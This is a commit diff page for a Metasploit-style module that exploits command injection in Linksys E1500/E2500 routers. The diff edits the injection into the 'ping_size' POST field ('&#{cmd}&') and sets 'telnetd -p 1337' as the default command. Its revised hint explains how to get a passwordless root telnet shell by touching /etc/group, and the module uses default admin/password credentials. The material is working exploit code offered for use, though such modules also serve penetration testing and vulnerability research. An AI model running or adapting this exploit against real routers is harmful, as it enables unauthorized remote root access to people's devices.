Skip to content

Commit b2bf1df

Browse files
author
m-1-k-3
committed
fixed encoding and set telnetd as default cmd
1 parent 270f64a commit b2bf1df

File tree

1 file changed

+4
-5
lines changed

1 file changed

+4
-5
lines changed

modules/auxiliary/admin/http/linksys_e1500_e2500_exec.rb

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,8 @@ def initialize(info = {})
2323
not see any output of your command. Try a ping command to your local system for a
2424
first test.
2525
26-
Hint: To get a remote shell you could upload a cross-compiled netcat binary and exec it.
26+
Hint: To get a remote shell you could start telnetd and touch /etc/group. Use the
27+
user root without a password for accessing the device.
2728
},
2829
'Author' => [ 'm-1-k-3' ],
2930
'License' => MSF_LICENSE,
@@ -35,14 +36,13 @@ def initialize(info = {})
3536
[ 'OSVDB', '89912' ],
3637
[ 'BID', '57760' ]
3738
],
38-
'DefaultTarget' => 0,
3939
'DisclosureDate' => 'Feb 05 2013'))
4040

4141
register_options(
4242
[
4343
OptString.new('USERNAME',[ true, 'User to login with', 'admin']),
4444
OptString.new('PASSWORD',[ true, 'Password to login with', 'password']),
45-
OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1'])
45+
OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337'])
4646
], self.class)
4747
end
4848

@@ -90,15 +90,14 @@ def run
9090
'uri' => uri,
9191
'method' => 'POST',
9292
'authorization' => basic_auth(user,pass),
93-
'encode_params' => false,
9493
'vars_post' => {
9594
"submit_button" => "Diagnostics",
9695
"change_action" => "gozila_cgi",
9796
"submit_type" => "start_ping",
9897
"action" => "",
9998
"commit" => "0",
10099
"ping_ip" => "1.1.1.1",
101-
"ping_size" => "%26#{cmd}%26",
100+
"ping_size" => "&#{cmd}&",
102101
"ping_times" => "5",
103102
"traceroute_ip" => ""
104103
}

0 commit comments

Comments
 (0)